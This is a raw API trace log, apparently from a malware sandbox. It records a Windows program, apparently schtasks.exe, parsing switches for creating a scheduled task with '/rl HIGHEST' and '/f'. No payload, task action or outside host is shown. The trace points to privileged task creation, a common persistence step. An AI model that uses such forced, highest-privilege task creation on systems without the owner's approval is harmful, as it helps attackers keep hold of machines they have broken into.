[0142.912] SetLastError (dwErrCode=0x490) [0142.912] lstrlenW (lpString="?") returned 1 [0142.912] lstrlenW (lpString="?") returned 1 [0142.912] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.912] lstrlenW (lpString="rl") returned 2 [0142.912] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.912] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|?|") returned 3 [0142.912] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.912] lstrlenW (lpString="|?|") returned 3 [0142.912] lstrlenW (lpString="|rl|") returned 4 [0142.912] SetLastError (dwErrCode=0x490) [0142.912] lstrlenW (lpString="s") returned 1 [0142.912] lstrlenW (lpString="s") returned 1 [0142.912] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.912] lstrlenW (lpString="rl") returned 2 [0142.912] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.912] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|s|") returned 3 [0142.912] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.912] lstrlenW (lpString="|s|") returned 3 [0142.912] lstrlenW (lpString="|rl|") returned 4 [0142.912] SetLastError (dwErrCode=0x490) [0142.912] lstrlenW (lpString="u") returned 1 [0142.912] lstrlenW (lpString="u") returned 1 [0142.912] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.912] lstrlenW (lpString="rl") returned 2 [0142.912] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.912] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|u|") returned 3 [0142.912] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.913] lstrlenW (lpString="|u|") returned 3 [0142.913] lstrlenW (lpString="|rl|") returned 4 [0142.913] SetLastError (dwErrCode=0x490) [0142.913] lstrlenW (lpString="p") returned 1 [0142.913] lstrlenW (lpString="p") returned 1 [0142.913] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.913] lstrlenW (lpString="rl") returned 2 [0142.913] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.913] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|p|") returned 3 [0142.913] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.913] lstrlenW (lpString="|p|") returned 3 [0142.913] lstrlenW (lpString="|rl|") returned 4 [0142.913] SetLastError (dwErrCode=0x490) [0142.913] lstrlenW (lpString="ru") returned 2 [0142.913] lstrlenW (lpString="ru") returned 2 [0142.913] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.913] lstrlenW (lpString="rl") returned 2 [0142.913] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.913] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ru|") returned 4 [0142.913] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.913] lstrlenW (lpString="|ru|") returned 4 [0142.913] lstrlenW (lpString="|rl|") returned 4 [0142.913] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0142.913] SetLastError (dwErrCode=0x490) [0142.913] lstrlenW (lpString="rp") returned 2 [0142.913] lstrlenW (lpString="rp") returned 2 [0142.913] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.913] lstrlenW (lpString="rl") returned 2 [0142.913] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.913] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rp|") returned 4 [0142.913] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.914] lstrlenW (lpString="|rp|") returned 4 [0142.914] lstrlenW (lpString="|rl|") returned 4 [0142.914] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0142.914] SetLastError (dwErrCode=0x490) [0142.914] lstrlenW (lpString="sc") returned 2 [0142.914] lstrlenW (lpString="sc") returned 2 [0142.914] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.914] lstrlenW (lpString="rl") returned 2 [0142.914] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.914] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sc|") returned 4 [0142.914] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.914] lstrlenW (lpString="|sc|") returned 4 [0142.914] lstrlenW (lpString="|rl|") returned 4 [0142.914] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0142.914] SetLastError (dwErrCode=0x490) [0142.914] lstrlenW (lpString="mo") returned 2 [0142.914] lstrlenW (lpString="mo") returned 2 [0142.914] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.914] lstrlenW (lpString="rl") returned 2 [0142.914] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.914] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|mo|") returned 4 [0142.914] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.914] lstrlenW (lpString="|mo|") returned 4 [0142.914] lstrlenW (lpString="|rl|") returned 4 [0142.914] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0142.914] SetLastError (dwErrCode=0x490) [0142.914] lstrlenW (lpString="d") returned 1 [0142.915] lstrlenW (lpString="d") returned 1 [0142.915] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.915] lstrlenW (lpString="rl") returned 2 [0142.915] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.915] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|d|") returned 3 [0142.915] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.915] lstrlenW (lpString="|d|") returned 3 [0142.915] lstrlenW (lpString="|rl|") returned 4 [0142.915] SetLastError (dwErrCode=0x490) [0142.915] lstrlenW (lpString="m") returned 1 [0142.915] lstrlenW (lpString="m") returned 1 [0142.915] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.915] lstrlenW (lpString="rl") returned 2 [0142.915] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.915] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|m|") returned 3 [0142.915] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.915] lstrlenW (lpString="|m|") returned 3 [0142.915] lstrlenW (lpString="|rl|") returned 4 [0142.915] SetLastError (dwErrCode=0x490) [0142.915] lstrlenW (lpString="i") returned 1 [0142.915] lstrlenW (lpString="i") returned 1 [0142.915] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.915] lstrlenW (lpString="rl") returned 2 [0142.915] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.915] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|i|") returned 3 [0142.915] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.916] lstrlenW (lpString="|i|") returned 3 [0142.916] lstrlenW (lpString="|rl|") returned 4 [0142.916] SetLastError (dwErrCode=0x490) [0142.916] lstrlenW (lpString="tn") returned 2 [0142.916] lstrlenW (lpString="tn") returned 2 [0142.916] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.916] lstrlenW (lpString="rl") returned 2 [0142.916] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.916] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tn|") returned 4 [0142.916] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.916] lstrlenW (lpString="|tn|") returned 4 [0142.916] lstrlenW (lpString="|rl|") returned 4 [0142.916] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0142.916] SetLastError (dwErrCode=0x490) [0142.916] lstrlenW (lpString="tr") returned 2 [0142.916] lstrlenW (lpString="tr") returned 2 [0142.916] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.916] lstrlenW (lpString="rl") returned 2 [0142.916] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.916] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|tr|") returned 4 [0142.916] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.916] lstrlenW (lpString="|tr|") returned 4 [0142.916] lstrlenW (lpString="|rl|") returned 4 [0142.916] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0142.916] SetLastError (dwErrCode=0x490) [0142.917] lstrlenW (lpString="st") returned 2 [0142.917] lstrlenW (lpString="st") returned 2 [0142.917] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.917] lstrlenW (lpString="rl") returned 2 [0142.917] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.917] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|st|") returned 4 [0142.917] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.917] lstrlenW (lpString="|st|") returned 4 [0142.917] lstrlenW (lpString="|rl|") returned 4 [0142.917] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0142.917] SetLastError (dwErrCode=0x490) [0142.917] lstrlenW (lpString="sd") returned 2 [0142.917] lstrlenW (lpString="sd") returned 2 [0142.917] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.917] lstrlenW (lpString="rl") returned 2 [0142.917] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.917] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|sd|") returned 4 [0142.917] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.917] lstrlenW (lpString="|sd|") returned 4 [0142.917] lstrlenW (lpString="|rl|") returned 4 [0142.917] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0142.917] SetLastError (dwErrCode=0x490) [0142.917] lstrlenW (lpString="ed") returned 2 [0142.917] lstrlenW (lpString="ed") returned 2 [0142.917] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.918] lstrlenW (lpString="rl") returned 2 [0142.918] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.918] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ed|") returned 4 [0142.918] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.918] lstrlenW (lpString="|ed|") returned 4 [0142.918] lstrlenW (lpString="|rl|") returned 4 [0142.918] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0142.918] SetLastError (dwErrCode=0x490) [0142.918] lstrlenW (lpString="it") returned 2 [0142.918] lstrlenW (lpString="it") returned 2 [0142.918] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.918] lstrlenW (lpString="rl") returned 2 [0142.918] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.918] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|it|") returned 4 [0142.918] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.918] lstrlenW (lpString="|it|") returned 4 [0142.918] lstrlenW (lpString="|rl|") returned 4 [0142.918] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0142.918] SetLastError (dwErrCode=0x490) [0142.918] lstrlenW (lpString="et") returned 2 [0142.918] lstrlenW (lpString="et") returned 2 [0142.918] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.918] lstrlenW (lpString="rl") returned 2 [0142.918] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.918] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|et|") returned 4 [0142.919] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.919] lstrlenW (lpString="|et|") returned 4 [0142.919] lstrlenW (lpString="|rl|") returned 4 [0142.919] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0142.919] SetLastError (dwErrCode=0x490) [0142.919] lstrlenW (lpString="k") returned 1 [0142.919] lstrlenW (lpString="k") returned 1 [0142.919] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.919] lstrlenW (lpString="rl") returned 2 [0142.919] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.919] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|k|") returned 3 [0142.919] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.919] lstrlenW (lpString="|k|") returned 3 [0142.919] lstrlenW (lpString="|rl|") returned 4 [0142.919] SetLastError (dwErrCode=0x490) [0142.919] lstrlenW (lpString="du") returned 2 [0142.919] lstrlenW (lpString="du") returned 2 [0142.919] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.919] lstrlenW (lpString="rl") returned 2 [0142.919] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.919] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|du|") returned 4 [0142.919] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.919] lstrlenW (lpString="|du|") returned 4 [0142.919] lstrlenW (lpString="|rl|") returned 4 [0142.919] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0142.920] SetLastError (dwErrCode=0x490) [0142.920] lstrlenW (lpString="ri") returned 2 [0142.920] lstrlenW (lpString="ri") returned 2 [0142.920] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.920] lstrlenW (lpString="rl") returned 2 [0142.920] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.920] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ri|") returned 4 [0142.920] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.920] lstrlenW (lpString="|ri|") returned 4 [0142.920] lstrlenW (lpString="|rl|") returned 4 [0142.920] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0142.920] SetLastError (dwErrCode=0x490) [0142.920] lstrlenW (lpString="z") returned 1 [0142.920] lstrlenW (lpString="z") returned 1 [0142.920] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.920] lstrlenW (lpString="rl") returned 2 [0142.920] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.920] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|z|") returned 3 [0142.920] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.920] lstrlenW (lpString="|z|") returned 3 [0142.920] lstrlenW (lpString="|rl|") returned 4 [0142.920] SetLastError (dwErrCode=0x490) [0142.920] lstrlenW (lpString="f") returned 1 [0142.920] lstrlenW (lpString="f") returned 1 [0142.920] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.921] lstrlenW (lpString="rl") returned 2 [0142.921] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.921] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.921] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.921] lstrlenW (lpString="|f|") returned 3 [0142.921] lstrlenW (lpString="|rl|") returned 4 [0142.921] SetLastError (dwErrCode=0x490) [0142.921] lstrlenW (lpString="v1") returned 2 [0142.921] lstrlenW (lpString="v1") returned 2 [0142.921] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.921] lstrlenW (lpString="rl") returned 2 [0142.921] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.921] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|v1|") returned 4 [0142.921] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.921] lstrlenW (lpString="|v1|") returned 4 [0142.921] lstrlenW (lpString="|rl|") returned 4 [0142.921] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0142.921] SetLastError (dwErrCode=0x490) [0142.921] lstrlenW (lpString="xml") returned 3 [0142.921] lstrlenW (lpString="xml") returned 3 [0142.921] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.921] lstrlenW (lpString="rl") returned 2 [0142.921] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.921] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|xml|") returned 5 [0142.921] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.921] lstrlenW (lpString="|xml|") returned 5 [0142.921] lstrlenW (lpString="|rl|") returned 4 [0142.921] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0142.922] SetLastError (dwErrCode=0x490) [0142.922] lstrlenW (lpString="ec") returned 2 [0142.922] lstrlenW (lpString="ec") returned 2 [0142.922] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.922] lstrlenW (lpString="rl") returned 2 [0142.922] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.922] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|ec|") returned 4 [0142.922] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.922] lstrlenW (lpString="|ec|") returned 4 [0142.922] lstrlenW (lpString="|rl|") returned 4 [0142.922] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0142.922] SetLastError (dwErrCode=0x490) [0142.922] lstrlenW (lpString="rl") returned 2 [0142.922] lstrlenW (lpString="rl") returned 2 [0142.922] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.922] lstrlenW (lpString="rl") returned 2 [0142.922] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.922] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.922] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|rl|") returned 4 [0142.922] lstrlenW (lpString="|rl|") returned 4 [0142.922] lstrlenW (lpString="|rl|") returned 4 [0142.922] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0142.922] SetLastError (dwErrCode=0x0) [0142.922] SetLastError (dwErrCode=0x0) [0142.922] lstrlenW (lpString="HIGHEST") returned 7 [0142.922] lstrlenW (lpString="-/") returned 2 [0142.922] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0142.922] SetLastError (dwErrCode=0x490) [0142.922] SetLastError (dwErrCode=0x490) [0142.922] SetLastError (dwErrCode=0x0) [0142.922] lstrlenW (lpString="HIGHEST") returned 7 [0142.922] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0142.922] SetLastError (dwErrCode=0x490) [0142.922] SetLastError (dwErrCode=0x0) [0142.923] _memicmp (_Buf1=0x30d4e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.923] lstrlenW (lpString="HIGHEST") returned 7 [0142.923] lstrlenW (lpString="HIGHEST") returned 7 [0142.923] lstrlenW (lpString=" \x09") returned 2 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0142.923] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0142.923] GetLastError () returned 0x0 [0142.923] lstrlenW (lpString="HIGHEST") returned 7 [0142.923] lstrlenW (lpString="HIGHEST") returned 7 [0142.923] SetLastError (dwErrCode=0x0) [0142.923] SetLastError (dwErrCode=0x0) [0142.923] lstrlenW (lpString="/f") returned 2 [0142.923] lstrlenW (lpString="-/") returned 2 [0142.923] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.923] lstrlenW (lpString="create") returned 6 [0142.923] lstrlenW (lpString="create") returned 6 [0142.923] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.923] lstrlenW (lpString="f") returned 1 [0142.923] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.923] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|create|") returned 8 [0142.923] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.923] lstrlenW (lpString="|create|") returned 8 [0142.923] lstrlenW (lpString="|f|") returned 3 [0142.923] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0142.923] SetLastError (dwErrCode=0x490) [0142.923] lstrlenW (lpString="?") returned 1 [0142.923] lstrlenW (lpString="?") returned 1 [0142.923] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.923] lstrlenW (lpString="f") returned 1 [0142.923] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.923] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|?|") returned 3 [0142.924] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.924] lstrlenW (lpString="|?|") returned 3 [0142.924] lstrlenW (lpString="|f|") returned 3 [0142.924] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0142.924] SetLastError (dwErrCode=0x490) [0142.924] lstrlenW (lpString="s") returned 1 [0142.924] lstrlenW (lpString="s") returned 1 [0142.924] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.924] lstrlenW (lpString="f") returned 1 [0142.924] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.924] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|s|") returned 3 [0142.924] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.924] lstrlenW (lpString="|s|") returned 3 [0142.924] lstrlenW (lpString="|f|") returned 3 [0142.924] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0142.924] SetLastError (dwErrCode=0x490) [0142.924] lstrlenW (lpString="u") returned 1 [0142.924] lstrlenW (lpString="u") returned 1 [0142.924] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.924] lstrlenW (lpString="f") returned 1 [0142.924] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.924] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|u|") returned 3 [0142.924] _vsnwprintf (in: _Buffer=0x30c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|f|") returned 3 [0142.924] lstrlenW (lpString="|u|") returned 3 [0142.924] lstrlenW (lpString="|f|") returned 3 [0142.924] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0142.924] SetLastError (dwErrCode=0x490) [0142.924] lstrlenW (lpString="p") returned 1 [0142.924] lstrlenW (lpString="p") returned 1 [0142.924] _memicmp (_Buf1=0x30c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.924] lstrlenW (lpString="f") returned 1 [0142.924] _memicmp (_Buf1=0x30c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.924] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc768 | out: _Buffer="|p|") returned 3 [0142.924] _vsnwprintf (in: 